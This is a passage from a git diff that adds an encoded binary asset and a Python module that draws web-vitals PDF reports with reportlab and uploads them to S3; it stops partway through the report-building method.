zpXSEp8brsDhP{$^ieh{M?L6v#l5RYmsa7tsC28#HV?f+%0~;4t8*~0Q zvA*BQteAgnk=d+T!vAt;#8uY*iX5OpR*0>|_pzKx zD~1sq;5nM>oBrg+U9kPDc>DK;g*UteDus!qSW92{_Z@zT-pcEWqF1N!4))@YZ&_65 zeFC% zlL>NCQoH6Bk+`I!B&RI|?eW#l3#RdNGoQ|t_q6x;$nb4`F*Oj~2&X`Cf#$j%Bg>VK zff5rc%bg!A6Rz`{yj@Zj^2g11*x1-l@dakzb!Db+0wJi0!YQ1(t>LBScpW~Ylmi-IY_jU-2t?aFVjB@kTa`LHO~~H? z+ik|$q_LyuqNp^v_Z-(hX$wzmXg}OOZKepV_|dLNLfb10^$iz}|6fxI2DQJI9nuV! z*Mam=6qHo#=j_kh`NgU|ZeVyy(L~WT$Knucop82pms1WW^PP97Q%@lF0%wx(>V!A7 zKjz?gf#bmhgs=aUm;L>Lueg9v(7kpIfNIY3z@bBZN-k$8t9$+U`}=qu|BEJJFLYE) zAb4}fP*2YxR~f!xf{9F7LO^QR(Vp6X0`dr0c>1@t>d(npt_AYgP8Q;yfLbC%kE5EU zyD~$QdvpAv^moL7qQ$3y+(&l~3K6Awj0|06XT!-5IA6k%?+;BpjRREhx*Ff-@;Nce z=^t&jkiKOk&cA^!!0&v;9~lAPcO|O;6iuN8LOOPKv%6|cwOF(MNV~4iHUZ7pJsOM; zVxa^*4imn^vpYb7ohCrEDH=sNw^&F=X;(_hFEnM`hHg;b81K z1cHo$5{Hps=~n9l&-F?7+~Va#>2KEY;7(zqojDN*#6YKy_%BuS-}@K07?^}Nc?j1! zw!}!xwKiL-M1nJos>{$sk!9XgIkE0ua+_wFmvMzVy&tAPoNjQS@{8n~|7GqFmlKtv zpMV}abP|52oodOJY%yVrIfPse}AcHEJmMo!jwLU-|85CY+_y`1gN$LJz&`>KM#iPlfQ*5*lDd(Uv`~P$Veg)Xp^M8v)E9#OWKZM) z`NR|vaAiUdVPLO|l%;_y?d$3|tv%n@-d?pUnrb*`2Oo9L;rmJtxo<8bCOWW;Ug6@w zxT4t&Kk&8R#mi@JlpXGrv_O!3kmG3hSHMdH^7gz<6iroo(`U~2*YwfR6-v(wJ<038 zF3fqsV6Hl^yPNM6JT)7Wun3gcjrA>j*Nh`;_OJBupYe&^0gjBEu_quq1eecNVBz|} z&gGMjiMq}MGzJ~5wDw`+C~X=NOnX!7!a;yLu&)ha7;>n)d?oY%PwXhAhzIdnAHGl1 zfBw2Q^{=0P{lrQQNS=IFr2QcTq9Tk&Dgo=8XNk-uTvv z;vTr7=?x}YdnV~h*^16}Zdo)yOX}r2LdnS#Y5@vB;IeG8Uxn5zX1FYHY=@zkpBX4i zf^;+&10_xEaAjy1Gm)!fC4MowtIIx*ip}CP*4&SnORaFX2&e{BICN9 zBL!v#k|u(@uPRg+-QI=X70CIpw}b`YBxeGkBy9Ck+|CF#J8EAu=U<*qS^bZa>mRKB z&y=-#U;n_X&U<(s^B9bbKd(xV$E4g|s?Qg=$<$vi;ky_v4Wu;Vd^r#F_1&2^dFN1Y zGFSG-1I~zqm?P<=hl_|#4EZ-j@4uTi2&f_kqh(-kCysFi#MgSB2`bltAGI_fR zNl2`iYqrnFyz#ZR#W{8(xw7Rq>Q!gqF&K5txIM9{Z3ix7_+hE&sf>Tm!0#8M0WXfq zc!}--tGYgK$3Mc2ZJ+)ig^&ze#|iNt8aljfB_t+y9Vax5Jv`wwStwRre>hX!g)`15 z=ySu{1+LuZlt9?=(c5czlU$^BzmCZAsh9wMK!DwGAen5D@37F2ymtCR`oiDNdZT(1 zpVWCO$bkQ8#$-R9yGCQW59}9%FXoN=0JaGr*nD0)-D7au-3%rAOdQm=xSBw}0H0!A zt6h7b17=`J?mG9dIy8|CvsIc8=0)cK2(+F_HF(?@F&xGYn8g1m(e^x>$-=Ka?OjOS zU173IH`tq*N!&}Jxw<;sgh+o{)!IMK%+fM+dSDR5!OTL$LGOn_ciI@5{AX)}02QRr4HuKl^G$;$osQzY|d!#e!x)n;uKZY)#r; zrN74YZP=GowpTpL7vLP!)U=JTunkP;J~`sP3d}j{i_AL_d+48+nW?(6r%o65xgvzK zN#_HMYEtI(53TUei4OL(?;?6UF-JEoGrL@}7~AV~#eI zAi5N`Gd!Gp=6Rx{1e0}*ih|Pqi;WcTTc*Yq4Hq{f?@Y?#j%8d!8P{}teA_+t51Uy6 z$1Vc4`%fqacW6kCe!fRD6dX%vj!Lue)>rJp1o;LRXvn$?plbY4O8@hTs81PTu!h$< zpMVN+VGPL_PJ0#laGnleenF|$DD3P5VwdpKeDbPvA9oQ0!kiw%R#T6rgk=x=J-BvAswB-rVU22#4!fw~i{_dmU zLH1ll10)Ed&6TYz1uiBY?(&w8$J+m3+x1^j0Q>goM~PlksHKC4DJQRH!t4(nI9WXx zru;6-@%lsIXbWx^8Jw#;eI%{y_oJZNTFf(7pbY%U$Ss*XW;~rXDE=g7v?q)Mt)%3f zHB35<#<{dR%_!^i)X8>WrqMlC;3DKaMDSvx<7ZT;{pp30vwOaMzby~`v%MYzFxb3` zuH-M{`S+-CM*tBscpw;z8umhGH~=fu+O8~(F&sZhuJ*f3O5RYO34x8toll`F$csE% zhPbUPgkfYHs}-Fuo+JV4w*MEqEai$@KoxAs z7k^%{er8!#E!`G4+94RxEhij};#%&I%f{KdwdSX+5hWf{gTB_Tz%h8^!~;k|A_PzQ zCW7z_;Jwn;HKfYt@v%MFAbainB(C7|=$R`>QCXeqYL!Lfz_`%n-0iCQO}Jv06=VM+ zcNn(?g6%B}<8ucJwIm>!0?0ImkiN=+&#@?mC~vXic%d41dtD<6I9%mX+UPDhXvUq3lUX(9oOr|!E(f$^V4GE)EE1Ey`)Vv46%$8W{$77m1ptEL_Xn^3+u-g0zyS;dfFydu zF9irLK?RJFDCQv>1X)YgS0ZQtL{EU36>YgJ-SpTBTd{sH$x1>lhai_p?1jQjhywf$ z7T|`tcr*71ph*Qbqzk$VUl5N^*Fi(u_Lp{xwC-9&eA-KA!;BJjbmS+JRzS!An~5NM$m4cuNNImn(dyP5B@z_9bp zd8(X2Z_&dL5zO{>k->-{H^^T)XkdjTf|>%UHygJj7=<34pOlrdFW*OrTI z!beW-veb;XMG&{U^|$SkGO3$q>7RUgI77?oearqrybFasek_;=u%-mi8MSIgXetrY zR{Cq%g6JN`!96< z^JGa2iooOv!)yVzTLyS~I^xA|+QEDe|*m*ejMKj|K{r+<`#&2S05;u~ptbXw->+8SBS(G)Ky@8s7- zgEh0vCW*VWQ&dkR4Nz*b8`*BIL_;{ROEetS-`)d<(-d4D3>&7%8FkxATA_^GrI9+; zq9d9b8;cI1`b44`(VFRYEQyECt1nS`V~l{%G;qP+lL)cGh0O$ktrs=eILTzlOeCJY z&Nt<;hd;a$y@ZS8S8rzBr!pxwjKpFc3j6u-(`_hpN(G>hwy6f-{(Ga^*xPk|dXe0& z4gv`e4!s;mOcR=BPRU2)ALcZbp?+|Pbk0b~-V@V(aPy1cO<>CVb_8F3-GRX}B{>;R z5Np_YVbg2?THs|muH(2@Y=!qt3CF37s4I=p1noT$PAnn6XM78h0{sDSfj8=D0Q=1w zb;9+iwuL&htVjz%!-QS&d=#|xtz0l*>7f)aWkF) zhe^?)e}xsCdT)7sJ$fNC)ssD79%uU`*XL>_!CXyEJljRnpvxKris~-NOHHLxwql^a zC3%iZD++{%g*0LT%?WSx9L=-S90hvCW&H(SZBJ0dO81LL{?qg#6sF_*8rUG=VA%?i zg!`+vyaydgkihg4E zh~nWo^s}j)5gDsMAT@T~Z&_{}8-;WLSXXPd_K7?~P*eKbI{H>hifY+}U=bLs?)w&3 zLq(~Sur2wvcP$(>RK@p-w)P?zaN5u%+LwS>U(B~~DElobOUpu_Sup-IN%RMJB+>&$ z71j|3#P(Cw!|;j`y{%@<$5@-r}@SvlYIcJ z=6`^PUVCPvoR_(6q3GeHJc}gmHOk`dPgm&(nK+Mb1(?;pI^^6h1buj&Zv@=H2Rk+Z z#NY7JaA}i)L9_mn=KzN@795shMXoJ)))XO~UzSE{@m#i;zs)xzh(|;HLfwH>Im;&e zyQ1q~Z}O-EXh_R`cuN4Z3W4_)J27lTk|P(brcP!n7Rt?ow5zHgofS$dji})|aLaH? z?xKYCCsf_U84obT1u3>86Bshkd5g?>eZ_Ce$wWk$XThHk9P-_MYOnjs@l^tkvS%pf z_{baQH%U}+vMRasAT-7Q#lLHqzIUCQl9{T>9`LtyJGJ9@= zzqxUG(&tWdKZpuz>kBTgG^i{ZxXesFPBV_p*~ux4&)zkX zvH$$EFBN0TPF}bZ)^!&ILep4xTO_m}ty~f41LXbx*MMp;1F&zxPUI~Pm<-?Hmv1_Y zXgZsh?Iprd3*zS&EG(K1f#aM%!u?OG{Nr3T5GWNk9&?6xS zuMJyNJPH>-m}~FTdP9)av{arKaSqBOcF-=GS4Qh~C@y()k zjCo5Xi{17%AApKriAsPCz|3oKkz`Qmg8xSG^vGdEyB@2zrbbpV*1_2<#kT}wGqcW! ztai}A+$tPSsinf@etABRaN3f3+e@h)Y=>6}WC7L^`hAs3tIqFwtQ_od5euFgVQI=C z$n|s^C#9^p^^DqemTl;Pj8?j;mj_X?&Y^6?;!OEHfvl7NDsKCIi0GAot@>k1jpqZ* z2#GV#{i0n#4!OWgy-nwxsxBB0GD2^5?EN}Zu=C5i#-fOb2S<6YZ9a}GD08{Vx5QH! z&F+)`3M(Rus6IDVC5A2B_SHxL*^&0kXAIz~)ba2q=0aA^)8MTxEPP0gE80BQKI90| zV;}F8dQikADUT$abgp$NMx3@2Hy3DeIR#ksq1~qEtJ!{}W}foiEUJAWguG6_sOhen zqz9h_SzUZ6HH8jaGu^UJVJpBs4V#K3x|8t~R4>TB(L|Fl;IP4=oVm##XT0$31^u0k zSEHXVU)Na+f#gvTjZFqK{Fr5DMfI#{@#=nsNH9Cu_I^cw$oY8?PvM;|495DB77V_> z`y`q8#wca^fwPshq}4AEA-RisjF_PKTAh@m;*~d3>godiS)GE~Xx(SsP>3Eid>6$t zE3Hl%i(Fv7GI{lbw4m*I=0<>R5hhYckw`XGENeQZB6*p3)R#h|l|Jt{AAVo1n{Wk! zXaK%dgKhbHhu3M%iS}V|{d#*lf)$#R9n3#UcWQ1BN5b45@h`r#H_h2!hN!Gx2t^Vf-Z;;JpIE zCoyH3CPbiw?jnVnWZ@sx)rxAKVAZyVGoe(j`v&bY?S8c<7XtT<-l}jHt$c|JC%_z8 zThPu6!$1V5?Z_2w(Jb70i?Ya`zv5XMm&5{o1kWQ=-U5~S?s)kzqQ`524h65ZNA2mD z_r;&<=MN-Wik>VuxY7pUpx@iWk(SaG-mGB&dP;wbGGw+z^P%V@U~}p-k23C^7oELe zRKVkQw>jCRNmyH2(D+k@^e@Dgr3M+GhN0C(XG>Ay(Y$|_BsFL%OXoUWYI2d@pE>ZD ziVeXA2E8kj3126cQa{o6cTX@{(2m)i2pI(zeGG~6 zG0wnGkf@2-q-8w5`s>-}SpH#AEOIi9Dvd?vg4;&#AOVNN%Qqv_)rtLnyj--ZJY$WL z^s$)_jo-xd@5a#U%Vb&ea8-YqQ#_hu97^T2FM1`dzl3rwg$7<;@HBR*b7@Gdq|Wff zdrY7pPvI=VF$_6GMn7a?8o*bQ_XPP+yJZjnF{!t$}e84UiQ#tDE; zO1YvD|IOng8+W~<_v#{Rh9@T{@x`GtM-loj=ATr}VzE zLNxScrhaGH1xjdQAcHDTYisudQE_O4MXG}Mp-=){F=YRp$#lpw*7ICLViM{jc)TWV zo_|g>rG;o~~65?O;%{}J`yGe)v zwn`0v`%C`WbszHb@=Wv)_FBNRp{btcL2!f)B*ky(k0PrJStfgQhucimQuWq(Mx%m- z^i!vn*Sor*JsyBpe7q*y=pw6Q`7|hj`*B4Xb%HY#FX%Jm)Dw|Y8=4qEXe+)4@}WOn z0jw_m@zLPG!u1PhrbIjq`7%l~>6W`EqlD66(K>{M$g|`lfqHG#4?88H2e1B9{rNxU z6Wkh@&)DKry*q#vd|n1YG;hl%wjjU}e>`KZQ^R6;c~UGmFk0wrtnKt@2VPrm5J^LK z;b&Ld#xiyA*!@vx2MR<|7&$IC2faPfy1ht$v0+LBa;gyL4!cU~OL*9CNT=R~HZ=6v zT)p0HekN4fNj^coP2I%A#Aeele;CcBd-!6Y7*US@NqBf7OriVE2p2;W9iqG^=YeoE zm7y2o**#RfHR7M?19zndU*6*IAb_O-H{MdN{8LASkc4~$+G*x`elKDrE87f5{j|I7 z{ZIvkVYZbK{8ZtsixoFPr?(w&J0;`_-Z#E3MjM3=b+U2JFgM>kZ!iW%3OJKaaPkg7s zYWgRf6Af81a%plfTaKH*ekCo&IKk0raKhtoxgiR%2tnHIfe>}1ApMK2PX3^9G$fuQ zxOO*s(9xr|lHC^hEHfD&apLA3j<$VkQc_ZDVq)T}$32G?C#T5)##P#5M`n%#`ar_q zt+U99z5z`0aiYsgSh7?;7Sg~guNXy5>ri77)?-1^+|S=`Lv|9tL7AboIJnQ;h*19% z(?MsNrCjkbfn;lbt)bXs9qR)l1%p6sNBz0*6`QKYm8q2p#2raBDm}*}hb*omn1ZTB zO{!Ma0_S~npMk;_Qc~aN#^f$D9)bcY%ER0KM*YlAlPh-N$u1|C>k(T638|ahsd?H< z*r;U3DG>c=3sRtidBdN%oCD1Nsqgo4L^UT1qNp&C0%|xJw49B z*HQtvGE(zpy~#3aOAd$<+Kqd1`eKOSldVFRNUSyro#ULX_O)_}X*1(nJULw2hz9sD z0*jI`ZOb^A6}H~bhGAfM*4TViilM`3c>M>49%%@t9N@xNMkQ9YvjvkXqux_o__LyU%eZ@FdV=9b7C{m1b1x*F(|1*)D0}4RezOXk#Xt46~Ed#e7@wm3~j+ zt9o-Yvv-^r`Nfd6)Z?8lrNVNXrXWK6(mVG*KiA4Id+Shn&sOf=%`1O@5xf|jR{TTW zDHWsjCw!|7VV&d50I8Lgxw-qo?aDuVYRhtPp+b{|BdcX zM~{E`NQsO9K(~L>A`G{)vzwwt{65_y(YhQ3YSh^t-mQ>E#^bMLm(ZVx`*rl@U=^#l z&uHtiLaT@@LxI)NM%i$;iig#Jl51Sv0Km^+d^*x;Tj^nt%j*Fp{P zS}z-l%{F~ZXQm3{lOh_T`lTeFcqg-o3c7wj$pyW4q|y&Ar;4!j+b}_G6qdi71NUwT z48R()fzj4DEwzuBM-f^E{KTx#Mpl;MXM>RmMz$=WB8TmyJ=HkKQMD$vuj}U&XZa!j zD#k3~i*za(q5a|ycY&+eK=)QeSHH+Cf4uqr6GX~D*d)nG9#>eF*6KfUhQIxbf6jrW zG+^Rbm)%#jVtl}>hI~mL(dE6rj&O3Y9hW4#tmX;2?^u0gPv3i&IH4^?>Vn}+eB35M zZe_ov3Xi`-TF~`Vb||$3lsTf!AZ-0eU|qv)$SeM2=6h36BAk(Q;NDiiKahA0-&i z>s*kl=bihE(am>xyl7EUR#s)s^Bqtnxtsa?S!ua_c6>m_sX`m8Fq}CNj470W8^C%}YF>RA2?=JG>X{2MFPeQ2b#Vax`#>?x?4El@?q}8iG z+1h31J(t6yN+&gX(@-+7*_H80LKa%08@Y=Fj%3h}Jy^|VsC#$1lI+gnjzMo(_mLv( z-k(Mpe=)w|WrL-Z#M_VANO}ehl14L4MSQZ=n2@euorcgn^T+-SSq+s-k{7m&WLJ`} zFl-%Pr@dx;OJK9k$c2Q&TzUM7W#05GJxcQBXpyNbPkbxO{dq{LOLw@80eD5<>l_61 zrNBO)_AXR%aWf`9yuf%+QpWpAQ2(|(%02CwhCA`UBBg!rKLqB&JGplmnGoudT~>A& zS~M+phcx-F>w~9;6JZHdA(yXmCwm@D zBKzLaGaYwmf4m{`!?^8d6n>7CU%2|`x3{3s3^fqCw(6g>6jIkyO_ZkyZZ#mB@H^n7 ziIOB^;zqno_=#R25>Rcfc`#*HWG@Yk>oT{^vpI@jY%Gwt+DoG1k!kKUf18R~hZ1Jh zEzTd(p>j$7Mw?RTlOJVnq0?~^6{+q^88v#4r~U`CyfDTA;%^5W#PP0&JN)L`$$;zg z&o%qka)gy)JQhwI69k=|vLGfXJqkXKV0^(^mzQUb&WK7vYq=N|+TD@D)=lD&6CEED z!C^RB^a3ZMx?5L7=G+hsr6jDH)O(194ULD=p+M@=r&x3GzG>v}xLK2fF!=MDSv622 zzJOzYPmLOghW`E4-%t0LfylIF@u%u%o*)W6vBc>Px00V=0%B~Ras>^Vl^!@`zW6oZ z2+Z=R7F>P@-Jc)z^FNdw;am8DkH5iah))T%Oou?s84ZbJGsb0`*FI!k(wpEiVS1kf zl!5w{8s?toYDaqz#H@3~cON%944Wb*inRH^ zk1JY^n2S?d3DP@@U=6Aqaz5=rP&HpZ*66yFWR5wL;)|HzHu(8nq&e55c@+jkX zULO%-i=(fTSr~gMpU}0pEp}1^DT|KpGFVD@clv_GeLhEm+Npw<{jZMq9~`s{2b>k< z$$&ogml5u0fZgvlI?aqD;dXH`e0q9He|cbUG{KM*vCt9eqA0*3nDM@DKO3jawI!C@ znzGQMlGFKlr7^Q@EgpgFsOe#j1AU>x&o5&2UsxBi#^lO9Zt>kc#DV;dtdadb>P4@H zqcZ{mR?D>(KrjN#+TQ*sl(py3NR?VND(xhKFE2=FYX1)Nf*E8N+@Z{PS(S--@-w5% zm?Btc^{&=*#agu0!MIX$??P5}&H+#sZdP4Z&+2xbGuJVOO@D(F1A_1YTc=@;s~~7m z;_=KEz&WcIhw9YSNqZuobrdoCJ%7ZDPUmBNN2Sbahy0OkDNXc;9pMwo)GRSd!)y!b zI35m_Re`PC{-F+M#f6B@F`5=99<8TG6PfACR0wgma1lR2fvt-AQH%CbuqX*j2ZWzO z$RpIo8PNkyiis=;pz&S^{+JB$B+d4Eap0C}*_)j!bjSq_L3@pa8iB1ggWvR{D5}RU zEirA`e%iaU5~d~+fnjW)n-Ua9w?19WJm;(2p0G~$&svY~dB zY*?dQJy?qpC-}>LSLAdoRgY-YWcOtQnNkB1N(Ms`~nb|4H&);lO0WO z{|pbB$8->K;(mz&K6k4R(f2fuxHw{{UfR!#1sf(@6h6sR*mWP_J`gh!d6DP5#g^L< z!K}S+nHeiX?m8{j?_{scyqE#r5z6W-onYj6^EahU0GblSu?m) zZ1cz@D(P3+&|yAPl*Z=irRHdTwrT2ahwH)CYI`+(OmX*ULDEJ*`x+ttEiud3yBYA; z+)I}9NqTLhmW7OkJMZT)M=044^MX~u67)&h`;9SR`E<9{{kQA_3`868Q5}oT4#oIq z>SicdYx9vxjAI2?AH8In1ENY`p3d?lIp5@8tX(;Z1wBXdY|Lb-ubJtNH|F!drAnb4 z$oC{lZl~rbA>TO&VX_c^3{`G-%Ea(!LX(W=Tl!+d!@&^Q_ES2IbxCZd{ij}^I9`jB zL8vK7Ig57Xu}SLN0-y(ahkcao9?rKz)y2byO&=0?+%GMvv7P*YmUK5^7zJ=(pQ648 z{!P}&V=b@RNK}11zN5_CQP++qu2L4cF1N4zs~`svFA9g|wg;7j8tX-6RsOKcx~_G! zT}`cty>@qg+TQ-Ie8kFGTc1A0Rblk0l=e->)8q0wlM+ZY428pW!To8Sgb%jbG@^=& zuh^o*{X=Hp;xzK~kqO*7)#k`Tnr5B*h6z{wx&a=djd#0axE*Dbm$YMZn#T2sD}|(N zml#!dTN$P{QF3nqhuHhj%!1;&FrY{c3H^LUCYSet;6YEE4F5&zvUT@GYel~__ra8? zCMC7w;}puHACK8a*A z36;y28-IJh5@=^@=RT3S%aEke!Kx^%*<^?>c+q1)pCq_{3vb!-Sp&tI4R5b)JK(71 zqcUn%u~(W;ep+(h@#C;haC7Sakd`JygGK(tRFpbS(al}<$J~yKP9n+06RCb}V)Q&m zvyE(qxD5BH8pk0Cmb~L5J=XhnU(eg=`js+mPGj4WyU#}3hn3S9(zW*?wr^JxioY z>iqokfoOYEL=@r)A%v=fAIf$wtgn8mej2UYY<#R)tkNr%wmPIeY&_TS(`N@>{94sh zTM4QI|GHbY>JOl%NtUtgQRH3!mnsu` zShr!qDy;G35!QJ8io$5PiaCAM<+T0ONvL!E`GWh1obN@l%*`VNWOGF6`EdDB^1?w~ zM1<#8ndg1BN!ZBC^z&c34jvDBtkU9vWH3Z^pd2p8J>;0=Zu>?QFEQN>zJGjZ41|_W zT0|WMOphNsVk&yYpk$_{y;M|I&Nen_D*72Dqsp4wKr8p)e$!(aK=U2#KC!&}k(s{B z*O3J!E5}h&=7HWRTW6}H;JRDlz8Cj_JiGe>NrklAs7n^#VjFaZuJ#8C7(`gYu7}Vs zSad|-48e8CZ%7oHW!kNcVt*?;sfj0f_RDc8E>wnx#Q%_1)mi&u!$Mtu5f-RcZ=Spg zEThS=gVJm9&1RD12o2nh@K=1YhEr1BPA9Ik#23qgxq0f)-P3?obUK)J`Pjj zU8(vy$F=*~SEu$}^&4gC@dEo%HMcP16cPXfCURmAxXvqCgH9+2&+~hw`h*ZJmM1CS z85JCH17CaW3_7V>4!&5^N2o1Jd)YZ?I50FczlTPNhlYmwoQj|)w`#3QF@4<@2A$zj zk6A^v3(>#KeZ*Gpnijbf5 zr+7rjn+=Q!Q_zn#cJJj2|16QyW z-!etue>-}1o=DB-)MKLc2;OjpQA6QVy-=+%d{%~uy_A6LS;$G+O~*@Q8`iFfw@v-V*HH$9{S*j-O*8s zC(C+%N`g$vMu56S+vwbR-#CQsW1b8W8h(xdxvRU*$Fl7rUhO=m7xdC;35cVA zDCDs*ZaYa|JH(%sJ zlK_3=w-)`yXOBs+0b=7vq9<0*>n@+QXD(VFe9vlbb~599&R9?NKs(m}=k#U)HR?VP z|6UHK?X9b=t$j!qI2|fUEtr%&(1>u+;}z=UzD?cofP)K2-_Fd{0E8-GjOUMn@9%C> z;SmtfpCB?vEX^&v`@kn1yft3J>ck0q=?TtsL4eievsRFV zh_GL&p=|H>u{-rUqJNtW()wyJ&9Rt2HZ~>zogU|%Kda{Y7Ad&5eI;5u3+R<=KWc1n zUT~Bh&L2-Tr9bA&ZwroA)3SF zL&v(u6}1EcDZ_Mb@&YfHMi&Wn;KN-4#{3xlY05Lpmw4D~Tk}&?UU~_^DNVa--PFrc z%!!d1Xx^UfML8GTuz9Hq{wZj+^TJN+a&IzM+nW6_VINH^wf@Qc);EGtZ91IVDOcS~ ztP>HIS1Hz{%c=f0uxG;^L-rt7ZGZu`d-NjD$p+9BVLNr>FuWz85Kae}Z10Z_!j-iM znZ2A6Lg-~e8yj(2wQ%@`+J#vx^W4pA)Tgv55d9?PcUqq4Ht)AS;RHCGUJWMswGV={ zSGd}fwdx`dSQ|8Gy!P*$Y`#q4=Gd)K3h-X2EvOkf3#!2nag{w3s*RijIg$k}ot|Bk z#ZJ==|5*4EpKAG;L{K$;ElN$m(Y(!?Ur|VKpH<|fmV|4eBJ;>fGJY`~Z)Ny&%YMtm zG3&Ey%f5A4J^mL~fHzcse(^fsmP>Y!Vp}^6nRoGmxAq(X_)qMG^z*!DI-dUz&PNp; literal 0 HcmV?d00001 diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py new file mode 100644 index 00000000..77dffb4a --- /dev/null +++ b/app/api/utils/reporter.py @@ -0,0 +1,466 @@ +from ..models import * +import time, os, sys, json, boto3 +import PIL.Image as Img +from scanerr import settings +from datetime import datetime, timedelta +from reportlab.lib.pagesizes import letter +from reportlab.lib.units import inch +from reportlab.lib.colors import HexColor +from reportlab.pdfgen import canvas + + + +class Reporter(): + + ''' + Used for generating web vitals reports for the passed `Site` obj + + Expects -> { + "report": , + } + + returns --> + + ''' + + def __init__(self, report, scan=None): + self.report = report + self.site = self.report.site + if scan is None: + self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id']) + else: + self.scan = scan + + #building paths & canvas template + if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + else: + os.makedirs(f'{settings.BASE_DIR}/temp') + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + + self.page_index = 0 + self.text_color = self.report.info['text_color'] + self.highlight_color = self.report.info['highlight_color'] + self.background_color = self.report.info['background_color'] + self.c = canvas.Canvas(self.local_path, letter) + self.y = 9 + + + def setup_page(self): + # sets the defaults for a new page + self.c.setFillColor(HexColor(self.background_color)) + self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1) + + + def end_page(self): + # adds page number and ends page + self.c.setFont('Helvetica-Bold', 15) + self.c.setFillColor(HexColor(self.text_color)) + self.page_index += 1 + self.c.drawString(7.7*inch, .3*inch, str(self.page_index)) + self.c.showPage() + + + def draw_page_title(self, title): + # adds a title to the given page + self.c.setFont('Helvetica-Bold', 32) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawCentredString(4.25*inch, 10*inch, title) + + + def publish_report(self): + self.c.save() + remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf' + s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # uploading package to remote s3 + with open(self.local_path, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={ + 'ACL': 'public-read', 'ContentType': 'application/pdf'} + ) + + report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0' + + self.report.path = report_url + self.report.save() + os.remove(self.local_path) + + + + def cover_page(self): + # background and title + self.setup_page() + + # creating dark triangle + p = self.c.beginPath() + p.moveTo(0*inch, 11*inch) + p.lineTo(7*inch, 11*inch) + p.lineTo(2.5*inch, 4.5*inch) + p.lineTo(0*inch, 7*inch) + self.c.setFillColor(HexColor('#00000026', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#00000026', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # crating light triangle + p = self.c.beginPath() + p.moveTo(0*inch, 0*inch) + p.lineTo(0*inch, 7*inch) + p.lineTo(7*inch, 0*inch) + self.c.setFillColor(HexColor('#0000000D', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#0000000D', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # date + date = f'{self.scan.time_created.month}/{self.scan.time_created.day}/{self.scan.time_created.year}' + self.c.setFont('Helvetica-Bold', 24) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 7.5*inch, date) + + # title + self.c.setFont('Helvetica-Bold', 45) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') + if len(self.site.site_url) <= 12: + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + elif 12 < len(self.site.site_url): + extra_chars = len(self.site.site_url) - 12 + m = (3/5) + self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + # cover img + cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png") + self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto') + + self.end_page() + + + + + def get_score_data(self, score, is_binary=False): + score = float(score) + if is_binary: + score = score*100 + + score_types = { + "a": { + "grade": "A", + "color": "#38B43F", + }, + "b": { + "grade": "B", + "color": "#82B436", + }, + "c": { + "grade": "C", + "color": "#ACB43C", + }, + "d": { + "grade": "D", + "color": "#B49836", + }, + "e": { + "grade": "E", + "color": "#B46B34", + }, + "f": { + "grade": "F", + "color": "#B43A29", + }, + + } + + if score >= 80: + grade = score_types['a'] + elif 80 > score >= 70: + grade = score_types['b'] + elif 70 > score >= 50: + grade = score_types['c'] + elif 50 > score >= 30: + grade = score_types['d'] + elif 30 > score >= 0: + grade = score_types['e'] + else: + grade = score_types['f'] + + return grade + + + def get_cat_string(self, cat): + + if cat == 'fonts': + string = 'Fonts' + elif cat == 'badCSS': + string = 'Bad CSS' + elif cat == 'jQuery': + string = 'jQuery' + elif cat == 'requests': + string = 'Requests' + elif cat == 'pageWeight': + string = 'Page Weight' + elif cat == 'serverConfig': + string = 'Server Config' + elif cat == 'badJavascript': + string = 'Bad JS' + elif cat == 'cssComplexity': + string = 'CSS Complexity' + elif cat == 'domComplexity': + string = 'DOM Complexity' + elif cat == 'javascriptComplexity': + string = 'JS Complexity' + elif cat == 'seo': + string = 'SEO' + elif cat == 'pwa': + string = 'PWA' + elif cat == 'crux': + string = 'CRUX' + elif cat == 'best_practices' or cat == 'best-practices': + string = 'Best Practices' + elif cat == 'performance': + string = 'Performance' + elif cat == 'accessibility': + string = 'Accessibility' + + return string + + + + def create_data(self, data_type=str): + self.setup_page() + + if data_type == 'yellowlab': + data = self.scan.yellowlab + page_title = 'Yellow Lab' + avg_score = 'globalScore' + + if data_type == 'lighthouse': + data = self.scan.lighthouse + page_title = 'Lighthouse' + avg_score = 'average' + + self.draw_page_title(page_title) + if data['scores'][avg_score] is None: + return False + + # measurements + space = .25 + text_space = .05 + begin_y = 8 + log_margin = 3.7 + text_margin = .3 + value_margin = 3 + log_height = .2 + log_width = 4 + grade_tab_width = .07 + + c_count = 0 + logs_count = 0 + for cat in data['audits']: + + # checking if cat is not null + if data['scores'][cat] is not None: + + # creating global score + if c_count == 0: + grade_obj = self.get_score_data(data['scores'][avg_score]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + 2*inch, + 8.7*inch, + 1*inch, + 1*inch, + .17*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 30) + self.c.drawCentredString( + 2.5*inch, + 9.05*inch, + grade_obj['grade'] + ) + self.c.setFont('Helvetica', 20) + 